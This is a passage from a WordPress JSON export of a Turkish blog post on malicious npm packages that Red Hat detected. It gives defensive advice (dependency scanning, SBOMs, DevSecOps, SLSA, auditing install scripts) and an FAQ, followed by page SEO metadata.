k\u00f6t\u00fc niyetli kod kal\u0131plar\u0131n\u0131 ve \u015f\u00fcpheli davran\u0131\u015flar\u0131 (\u00f6rne\u011fin, a\u011fa izinsiz eri\u015fim, dosya sistemi manip\u00fclasyonu) tespit edebilir.<\/li>\n<li>Sandboxing teknikleri, \u015f\u00fcpheli paketlerin izole edilmi\u015f ortamlarda \u00e7al\u0131\u015ft\u0131r\u0131larak davran\u0131\u015flar\u0131n\u0131n g\u00f6zlemlenmesini sa\u011flar. Bu, k\u00f6t\u00fc niyetli bir paketin ger\u00e7ek sistemlere zarar vermesini engeller.<\/li>\n<\/ul>\n<\/li>\n<li><strong>G\u00fcvenlik E\u011fitimleri ve Fark\u0131ndal\u0131k Programlar\u0131:<\/strong>\n<ul>\n<li>Geli\u015ftiricilerin, tedarik zinciri sald\u0131r\u0131lar\u0131, tiposquatting, sosyal m\u00fchendislik gibi konularda d\u00fczenli olarak e\u011fitilmesi gerekir. Fark\u0131ndal\u0131k, sald\u0131r\u0131lara kar\u015f\u0131 en g\u00fc\u00e7l\u00fc savunmalardan biridir. Geli\u015ftiricilerin \u015f\u00fcpheli durumlar\u0131 tan\u0131yabilmesi ve raporlayabilmesi \u00f6nemlidir.<\/li>\n<li>G\u00fcvenli kodlama prensipleri ve en iyi uygulamalar hakk\u0131nda s\u00fcrekli e\u011fitimler d\u00fczenlenmelidir.<\/li>\n<\/ul>\n<\/li>\n<li><strong>SBOM (Software Bill of Materials &#8211; Yaz\u0131l\u0131m Malzeme Listesi) Kullan\u0131m\u0131:<\/strong>\n<ul>\n<li>SBOM, bir yaz\u0131l\u0131m \u00fcr\u00fcn\u00fcn\u00fcn i\u00e7inde bulunan t\u00fcm bile\u015fenlerin (k\u00fct\u00fcphaneler, ba\u011f\u0131ml\u0131l\u0131klar, a\u00e7\u0131k kaynak lisanslar\u0131 vb.) detayl\u0131 bir envanteridir. Bu liste, bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131 tespit edildi\u011finde, etkilenen t\u00fcm \u00fcr\u00fcnlerin ve projelerin h\u0131zl\u0131ca belirlenmesini sa\u011flar.<\/li>\n<li>SBOM&#8217;lar, tedarik zinciri \u015feffafl\u0131\u011f\u0131n\u0131 art\u0131r\u0131r ve risk y\u00f6netimi s\u00fcre\u00e7lerini kolayla\u015ft\u0131r\u0131r.<\/li>\n<\/ul>\n<\/li>\n<li><strong>DevSecOps Entegrasyonu:<\/strong>\n<ul>\n<li>G\u00fcvenli\u011fi, geli\u015ftirme ve operasyon s\u00fcre\u00e7lerinin (DevOps) her a\u015famas\u0131na entegre etmek (Shift Left Security). Bu, g\u00fcvenlik kontrollerinin kod yazma a\u015famas\u0131ndan ba\u015flayarak, derleme, test, da\u011f\u0131t\u0131m ve \u00fcretim a\u015famalar\u0131na kadar t\u00fcm ya\u015fam d\u00f6ng\u00fcs\u00fcne yay\u0131lmas\u0131n\u0131 sa\u011flar.<\/li>\n<li>Otomatik g\u00fcvenlik testleri, statik kod analizi (SAST), dinamik kod analizi (DAST) ve ba\u011f\u0131ml\u0131l\u0131k taray\u0131c\u0131lar\u0131 gibi ara\u00e7lar, CI\/CD boru hatlar\u0131na entegre edilmelidir.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Reg\u00fclasyonlar ve Standartlara Uyum:<\/strong>\n<ul>\n<li>SLSA (Supply-chain Levels for Software Artifacts) gibi standartlar, yaz\u0131l\u0131m tedarik zinciri g\u00fcvenli\u011fi i\u00e7in bir \u00e7er\u00e7eve sunar. Bu t\u00fcr standartlara uyum sa\u011flamak, kurulu\u015flar\u0131n g\u00fcvenlik duru\u015funu g\u00fc\u00e7lendirmelerine yard\u0131mc\u0131 olabilir.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p>Kurumsal d\u00fczeyde bu stratejilerin uygulanmas\u0131, sadece Red Hat npm olay\u0131 gibi spesifik tehditlere kar\u015f\u0131 de\u011fil, genel olarak siber g\u00fcvenlik risklerine kar\u015f\u0131 daha diren\u00e7li bir yap\u0131 olu\u015fturulmas\u0131na olanak tan\u0131r. G\u00fcvenlik, bir \u00fcr\u00fcn\u00fcn veya hizmetin kalitesinin ayr\u0131lmaz bir par\u00e7as\u0131 olarak g\u00f6r\u00fclmeli ve t\u00fcm organizasyonel s\u00fcre\u00e7lere entegre edilmelidir.<\/p>\n<h3>Red Hat Olay\u0131ndan \u00c7\u0131kar\u0131lan Dersler ve Gelece\u011fe Y\u00f6nelik \u00d6neriler<\/h3>\n<p>Red Hat npm olay\u0131, yaz\u0131l\u0131m tedarik zinciri g\u00fcvenli\u011finin ne kadar dinamik ve s\u00fcrekli geli\u015fen bir alan oldu\u011funu bir kez daha kan\u0131tlad\u0131. Bu olaydan \u00e7\u0131kar\u0131lan dersler, hem bireysel geli\u015ftiriciler hem de b\u00fcy\u00fck kurulu\u015flar i\u00e7in yol g\u00f6sterici niteliktedir ve gelece\u011fe y\u00f6nelik g\u00fcvenlik stratejilerinin temelini olu\u015fturmal\u0131d\u0131r.<\/p>\n<ol>\n<li><strong>S\u00fcrekli Uyan\u0131kl\u0131k ve Proaktif Yakla\u015f\u0131m:<\/strong>\n<ul>\n<li>Siber sald\u0131rganlar s\u00fcrekli yeni y\u00f6ntemler geli\u015ftirdi\u011fi i\u00e7in, g\u00fcvenlik ekipleri ve geli\u015ftiricilerin s\u00fcrekli tetikte olmas\u0131 gerekir. G\u00fcvenlik, bir \u00fcr\u00fcn\u00fcn tamamlanmas\u0131ndan sonra eklenen bir \u00f6zellik de\u011fil, tasar\u0131m a\u015famas\u0131ndan itibaren entegre edilmesi gereken bir s\u00fcre\u00e7tir.<\/li>\n<li>Yeni g\u00fcvenlik trendlerini, zafiyetleri ve sald\u0131r\u0131 tekniklerini takip etmek, olas\u0131 tehditlere kar\u015f\u0131 haz\u0131rl\u0131kl\u0131 olmay\u0131 sa\u011flar.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Topluluk Deste\u011fi ve A\u00e7\u0131k Kaynak Denetimi:<\/strong>\n<ul>\n<li>A\u00e7\u0131k kaynak ekosistemi, g\u00fcc\u00fcn\u00fc topluluktan al\u0131r. Red Hat gibi b\u00fcy\u00fck oyuncular\u0131n katk\u0131lar\u0131, k\u00f6t\u00fc niyetli paketlerin tespit edilmesinde kritik rol oynar. Geli\u015ftiricilerin \u015f\u00fcpheli durumlar\u0131 rapor etmesi ve topluluk i\u00e7inde bilgi payla\u015f\u0131m\u0131, genel g\u00fcvenli\u011fi art\u0131r\u0131r.<\/li>\n<li>A\u00e7\u0131k kaynak projelerinin kod denetimi ve zafiyet avc\u0131l\u0131\u011f\u0131 (bug bounty) programlar\u0131 arac\u0131l\u0131\u011f\u0131yla daha fazla g\u00f6z taraf\u0131ndan incelenmesi te\u015fvik edilmelidir.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Otomatik G\u00fcvenlik Kontrollerinin \u00d6nemi:<\/strong>\n<ul>\n<li>Manuel incelemeler \u00f6nemli olsa da, \u00f6l\u00e7eklenebilirlik ve h\u0131z a\u00e7\u0131s\u0131ndan otomatik g\u00fcvenlik ara\u00e7lar\u0131 vazge\u00e7ilmezdir. Ba\u011f\u0131ml\u0131l\u0131k taray\u0131c\u0131lar\u0131, kod analizi ara\u00e7lar\u0131 ve CI\/CD entegrasyonlar\u0131, g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131n erken ve tutarl\u0131 bir \u015fekilde tespit edilmesini sa\u011flar.<\/li>\n<li>Bu otomasyonlar, insan hatas\u0131 riskini azalt\u0131r ve geli\u015ftiricilerin g\u00fcvenlik konular\u0131na daha az manuel \u00e7aba harcamas\u0131na olanak tan\u0131r.<\/li>\n<\/ul>\n<\/li>\n<li><strong>G\u00fcvenlik Politikalar\u0131n\u0131n ve Standartlar\u0131n Geli\u015ftirilmesi:<\/strong>\n<ul>\n<li>\u015eirketler, hangi paketlerin kullan\u0131labilece\u011fi, nas\u0131l do\u011frulanaca\u011f\u0131 ve hangi g\u00fcvenlik kontrollerinden ge\u00e7irilmesi gerekti\u011fi konusunda net politikalar olu\u015fturmal\u0131d\u0131r.<\/li>\n<li>SLSA (Supply-chain Levels for Software Artifacts) gibi end\u00fcstri standartlar\u0131, yaz\u0131l\u0131m tedarik zinciri g\u00fcvenli\u011fi i\u00e7in kabul g\u00f6rm\u00fc\u015f en iyi uygulamalar\u0131 benimsemeye yard\u0131mc\u0131 olur. Bu standartlar, yaz\u0131l\u0131m artefaktlar\u0131n\u0131n (yap\u0131tlar\u0131n\u0131n) g\u00fcvenilirli\u011fini art\u0131rmak i\u00e7in bir \u00e7er\u00e7eve sunar.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Minimum Ba\u011f\u0131ml\u0131l\u0131k Kullan\u0131m\u0131:<\/strong>\n<ul>\n<li>Her eklenen ba\u011f\u0131ml\u0131l\u0131k, projenizin sald\u0131r\u0131 y\u00fczeyini art\u0131r\u0131r. M\u00fcmk\u00fcn oldu\u011funca az ve sadece ger\u00e7ekten ihtiya\u00e7 duyulan ba\u011f\u0131ml\u0131l\u0131klar\u0131 kullanmaya \u00f6zen g\u00f6sterin. Gereksiz veya kullan\u0131lmayan ba\u011f\u0131ml\u0131l\u0131klar\u0131 d\u00fczenli olarak temizleyin.<\/li>\n<li>K\u00fc\u00e7\u00fck ve tek i\u015flevli k\u00fct\u00fcphaneleri kullan\u0131rken bile dikkatli olun; bu t\u00fcr paketler de k\u00f6t\u00fc niyetli kod i\u00e7erebilir.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p>Red Hat npm olay\u0131, siber g\u00fcvenlik d\u00fcnyas\u0131nda bir d\u00f6n\u00fcm noktas\u0131 olarak kabul edilebilir. Geli\u015ftiricilerin ve kurumlar\u0131n, yaz\u0131l\u0131m tedarik zincirinin k\u0131r\u0131lganl\u0131\u011f\u0131n\u0131 anlamas\u0131 ve bu k\u0131r\u0131lganl\u0131\u011f\u0131 gidermek i\u00e7in ortak bir \u00e7aba sarf etmesi gerekti\u011fini g\u00fc\u00e7l\u00fc bir \u015fekilde hat\u0131rlatt\u0131. Gelecekteki sald\u0131r\u0131lara kar\u015f\u0131 en iyi savunma, s\u00fcrekli \u00f6\u011frenme, adaptasyon ve i\u015fbirli\u011finden ge\u00e7mektedir.<\/p>\n<h3>Sonu\u00e7<\/h3>\n<p>Red Hat&#8217;in npm \u00fczerindeki k\u00f6t\u00fc niyetli paketleri tespit etmesi, modern yaz\u0131l\u0131m geli\u015ftirmenin temelini olu\u015fturan a\u00e7\u0131k kaynak ekosistemindeki g\u00fcvenlik risklerinin alt\u0131n\u0131 bir kez daha \u00e7izdi. Tiposquatting ve <code>postinstall<\/code> scriptleri arac\u0131l\u0131\u011f\u0131yla hassas verileri \u00e7almay\u0131 hedefleyen bu sald\u0131r\u0131, yaz\u0131l\u0131m tedarik zinciri g\u00fcvenli\u011finin ne denli kritik oldu\u011funu ve her geli\u015ftiricinin bu konuda bilin\u00e7li olmas\u0131 gerekti\u011fini g\u00f6sterdi. Makalemizde, bu olay\u0131n detaylar\u0131n\u0131, yaz\u0131l\u0131m tedarik zinciri sald\u0131r\u0131lar\u0131n\u0131n genel yap\u0131s\u0131n\u0131 ve bu t\u00fcr tehditlerden korunmak i\u00e7in hem bireysel hem de kurumsal d\u00fczeyde al\u0131nabilecek pratik \u00f6nlemleri ele ald\u0131k. G\u00fcvenlik tarama ara\u00e7lar\u0131n\u0131n kullan\u0131m\u0131, paketlerin dikkatli incelenmesi, minimum ayr\u0131cal\u0131k prensibi ve DevSecOps yakla\u015f\u0131mlar\u0131, gelecekteki sald\u0131r\u0131lara kar\u015f\u0131 daha diren\u00e7li bir ekosistem olu\u015fturman\u0131n anahtarlar\u0131d\u0131r. Unutmayal\u0131m ki, siber g\u00fcvenlik s\u00fcrekli bir yolculuktur ve bu yolculukta uyan\u0131k kalmak, \u00f6\u011frenmek ve i\u015fbirli\u011fi yapmak hepimizin sorumlulu\u011fundad\u0131r.<\/p>\n<h3>S\u0131k\u00e7a Sorulan Sorular (SSS)<\/h3>\n<ol>\n<li>\n        <strong>npm paketleri neden bu kadar riskli olabilir?<\/strong><\/p>\n<p>npm, milyonlarca paketi bar\u0131nd\u0131ran devasa bir ekosistemdir. Bu paketlerin \u00e7o\u011fu a\u00e7\u0131k kaynakl\u0131d\u0131r ve herhangi biri taraf\u0131ndan yay\u0131nlanabilir. Bu a\u00e7\u0131kl\u0131k, geli\u015ftirme h\u0131z\u0131n\u0131 art\u0131r\u0131rken ayn\u0131 zamanda k\u00f6t\u00fc niyetli akt\u00f6rlerin araya k\u00f6t\u00fc niyetli kod s\u0131zd\u0131rmas\u0131 i\u00e7in de bir f\u0131rsat yarat\u0131r. Bir paketin ba\u011f\u0131ml\u0131l\u0131klar\u0131 arac\u0131l\u0131\u011f\u0131yla bile dolayl\u0131 yoldan riskler ta\u015f\u0131nabilir.<\/p>\n<\/li>\n<li>\n        <strong>Bir paketin g\u00fcvenli olup olmad\u0131\u011f\u0131n\u0131 nas\u0131l anlar\u0131m?<\/strong><\/p>\n<p>Paketi kullanmadan \u00f6nce bak\u0131mc\u0131s\u0131n\u0131n kim oldu\u011funu, projenin GitHub deposunu, indirme say\u0131lar\u0131n\u0131 ve topluluk yorumlar\u0131n\u0131 inceleyin. <code>npm audit<\/code> gibi ara\u00e7larla bilinen g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 kontrol edin. \u00c7ok kritik paketler i\u00e7in kodunu manuel olarak incelemek, \u00f6zellikle <code>scripts<\/code> b\u00f6l\u00fcm\u00fcnde <code>preinstall<\/code> veya <code>postinstall<\/code> gibi script&#8217;ler varsa, faydal\u0131 olabilir.<\/p>\n<\/li>\n<li>\n        <strong>Ortam de\u011fi\u015fkenlerimi korumak i\u00e7in ne yapmal\u0131y\u0131m?<\/strong><\/p>\n<p>Hassas ortam de\u011fi\u015fkenlerini (API anahtarlar\u0131, \u015fifreler) do\u011frudan komut sat\u0131r\u0131nda veya a\u00e7\u0131k metin dosyalar\u0131nda tutmaktan ka\u00e7\u0131n\u0131n. Bunun yerine, gizli y\u00f6netim sistemleri (\u00f6rne\u011fin HashiCorp Vault, AWS Secrets Manager, Azure Key Vault) kullan\u0131n. Geli\u015ftirme ortam\u0131n\u0131zda minimum ayr\u0131cal\u0131k prensibini uygulay\u0131n ve her zaman iki fakt\u00f6rl\u00fc kimlik do\u011frulamay\u0131 etkinle\u015ftirin.<\/p>\n<\/li>\n<li>\n        <strong>Mevcut projelerimde bu t\u00fcr bir sald\u0131r\u0131y\u0131 nas\u0131l tespit edebilirim?<\/strong><\/p>\n<p>Mevcut projelerinizde d\u00fczenli olarak <code>npm audit<\/code> veya <code>yarn audit<\/code> komutlar\u0131n\u0131 \u00e7al\u0131\u015ft\u0131r\u0131n. Snyk veya Dependabot gibi \u00fc\u00e7\u00fcnc\u00fc taraf g\u00fcvenlik tarama ara\u00e7lar\u0131n\u0131 CI\/CD s\u00fcre\u00e7lerinize entegre edin. Ayr\u0131ca, a\u011f trafi\u011finizi izleyerek veya dosya sistemi eri\u015fim g\u00fcnl\u00fcklerini kontrol ederek \u015f\u00fcpheli davran\u0131\u015flar\u0131 (\u00f6rne\u011fin, beklenmedik d\u0131\u015f ba\u011flant\u0131lar, hassas dosyalara eri\u015fim) tespit etmeye \u00e7al\u0131\u015fabilirsiniz.<\/p>\n<\/li>\n<li>\n        <strong>Kurumsal d\u00fczeyde tedarik zinciri g\u00fcvenli\u011fi i\u00e7in ilk ad\u0131m ne olmal\u0131?<\/strong><\/p>\n<p>Kurumsal d\u00fczeyde ilk ad\u0131m, mevcut yaz\u0131l\u0131m envanterinizi \u00e7\u0131karmak (SBOM olu\u015fturmak) ve t\u00fcm ba\u011f\u0131ml\u0131l\u0131klar\u0131n\u0131z\u0131 anlamakt\u0131r. Ard\u0131ndan, bir risk de\u011ferlendirmesi yaparak en kritik risk alanlar\u0131n\u0131 belirleyin. \u00d6zel paket kay\u0131tlar\u0131 kurmak, otomatik g\u00fcvenlik tarama ara\u00e7lar\u0131n\u0131 entegre etmek ve geli\u015ftiricilere d\u00fczenli g\u00fcvenlik e\u011fitimleri vermek, ba\u015flang\u0131\u00e7 i\u00e7in g\u00fc\u00e7l\u00fc ad\u0131mlard\u0131r.<\/p>\n<\/li>\n<\/ol>\n<p>#Teknoloji #WebGeli\u015ftirme #SiberG\u00fcvenlik #npm #RedHat<\/p>\n<div class=\"github-example-link\"><strong>\u00d6rnek kod:<\/strong> <a href=\"https:\/\/github.com\/fatihsoysalcom\/npm-package-dependency-security\" target=\"_blank\" rel=\"noopener noreferrer\">github.com\/fatihsoysalcom\/npm-package-dependency-security<\/a><\/div>\n","protected":false},"excerpt":{"rendered":"Yaz\u0131l\u0131m tedarik zinciri sald\u0131r\u0131lar\u0131 g\u00fcn\u00fcm\u00fcz\u00fcn en b\u00fcy\u00fck siber g\u00fcvenlik tehditlerinden biri haline geldi.","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"csco_page_header_type":"","csco_page_load_nextpost":"","csco_page_subscribe_form":"","csco_page_contact_form":"","footnotes":""},"categories":[1],"tags":[],"class_list":{"0":"post-42401","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-genel","7":"cs-entry","8":"cs-video-wrap"},"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v20.5 (Yoast SEO v25.3.1) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Red Hat npm Olay\u0131: Her Geli\u015ftiricinin Bilmesi Gerekenler ve Tedbirler - Kodlar\u0131n Gizemli D\u00fcnyas\u0131<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/\" \/>\n<meta property=\"og:locale\" content=\"tr_TR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Red Hat npm Olay\u0131: Her Geli\u015ftiricinin Bilmesi Gerekenler ve Tedbirler\" \/>\n<meta property=\"og:description\" content=\"Yaz\u0131l\u0131m tedarik zinciri sald\u0131r\u0131lar\u0131 g\u00fcn\u00fcm\u00fcz\u00fcn en b\u00fcy\u00fck siber g\u00fcvenlik tehditlerinden biri haline geldi.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/\" \/>\n<meta property=\"og:site_name\" content=\"Kodlar\u0131n Gizemli D\u00fcnyas\u0131\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-08T18:12:04+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-06-08T18:12:21+00:00\" \/>\n<meta name=\"author\" content=\"Fatih Soysal\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Yazan:\" \/>\n\t<meta name=\"twitter:data1\" content=\"Fatih Soysal\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tahmini okuma s\u00fcresi\" \/>\n\t<meta name=\"twitter:data2\" content=\"22 dakika\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/\"},\"author\":{\"name\":\"Fatih Soysal\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"headline\":\"Red Hat npm Olay\u0131: Her Geli\u015ftiricinin Bilmesi Gerekenler ve Tedbirler\",\"datePublished\":\"2026-06-08T18:12:04+00:00\",\"dateModified\":\"2026-06-08T18:12:21+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/\"},\"wordCount\":4147,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/#respond\"]}],\"copyrightYear\":\"2026\",\"copyrightHolder\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#organization\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/\",\"name\":\"Red Hat npm Olay\u0131: Her Geli\u015ftiricinin Bilmesi Gerekenler ve Tedbirler - Kodlar\u0131n Gizemli D\u00fcnyas\u0131\",\"isPartOf\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#website\"},\"datePublished\":\"2026-06-08T18:12:04+00:00\",\"dateModified\":\"2026-06-08T18:12:21+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/#breadcrumb\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Anasayfa\",\"item\":\"https:\/\/fatihsoysal.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Red Hat npm Olay\u0131: Her Geli\u015ftiricinin Bilmesi Gerekenler ve Tedbirler\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#website\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/\",\"name\":\"Fatihsoysal.com\",\"description\":\"Blog - Yaz\u0131l\u0131m D\u00fcnyas\u0131 Tecr\u00fcbelerim\",\"publisher\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/fatihsoysal.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"tr\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\",\"name\":\"Fatih Soysal\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"tr\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png\",\"contentUrl\":\"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png\",\"width\":512,\"height\":512,\"caption\":\"Fatih Soysal\"},\"logo\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/\"},\"description\":\"Kullan\u0131m ve kodlama m\u00fckemmeliyetini odak alan uygulamalar olu\u015fturma deneyimine sahip, profesyonel olarak 15+ y\u0131l \u00fczeri deneyime sahip bir yaz\u0131l\u0131m m\u00fchendisi.\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/author\/fatihsoysal\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Red Hat npm Olay\u0131: Her Geli\u015ftiricinin Bilmesi Gerekenler ve Tedbirler - Kodlar\u0131n Gizemli D\u00fcnyas\u0131","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/","og_locale":"tr_TR","og_type":"article","og_title":"Red Hat npm Olay\u0131: Her Geli\u015ftiricinin Bilmesi Gerekenler ve Tedbirler","og_description":"Yaz\u0131l\u0131m tedarik zinciri sald\u0131r\u0131lar\u0131 g\u00fcn\u00fcm\u00fcz\u00fcn en b\u00fcy\u00fck siber g\u00fcvenlik tehditlerinden biri haline geldi.","og_url":"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/","og_site_name":"Kodlar\u0131n Gizemli D\u00fcnyas\u0131","article_published_time":"2026-06-08T18:12:04+00:00","article_modified_time":"2026-06-08T18:12:21+00:00","author":"Fatih Soysal","twitter_card":"summary_large_image","twitter_misc":{"Yazan:":"Fatih Soysal","Tahmini okuma s\u00fcresi":"22 dakika"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/#article","isPartOf":{"@id":"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/"},"author":{"name":"Fatih Soysal","@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"headline":"Red Hat npm Olay\u0131: Her Geli\u015ftiricinin Bilmesi Gerekenler ve Tedbirler","datePublished":"2026-06-08T18:12:04+00:00","dateModified":"2026-06-08T18:12:21+00:00","mainEntityOfPage":{"@id":"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/"},"wordCount":4147,"commentCount":0,"publisher":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"inLanguage":"tr","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/#respond"]}],"copyrightYear":"2026","copyrightHolder":{"@id":"https:\/\/fatihsoysal.com\/blog\/#organization"}},{"@type":"WebPage","@id":"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/","url":"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/","name":"Red Hat npm Olay\u0131: Her Geli\u015ftiricinin Bilmesi Gerekenler ve Tedbirler - Kodlar\u0131n Gizemli D\u00fcnyas\u0131","isPartOf":{"@id":"https:\/\/fatihsoysal.com\/blog\/#website"},"datePublished":"2026-06-08T18:12:04+00:00","dateModified":"2026-06-08T18:12:21+00:00","breadcrumb":{"@id":"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/#breadcrumb"},"inLanguage":"tr","potentialAction":[{"@type":"ReadAction","target":["https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/fatihsoysal.com\/blog\/red-hat-npm-olayi-her-gelistiricinin-bilmesi-gerekenler-ve-tedbirler\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Anasayfa","item":"https:\/\/fatihsoysal.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Red Hat npm Olay\u0131: Her Geli\u015ftiricinin Bilmesi Gerekenler ve Tedbirler"}]},{"@type":"WebSite","@id":"https:\/\/fatihsoysal.com\/blog\/#website","url":"https:\/\/fatihsoysal.com\/blog\/","name":"Fatihsoysal.com","description":"Blog - Yaz\u0131l\u0131m D\u00fcnyas\u0131 Tecr\u00fcbelerim","publisher":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/fatihsoysal.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"tr"},{"@type":["Person","Organization"],"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1","name":"Fatih 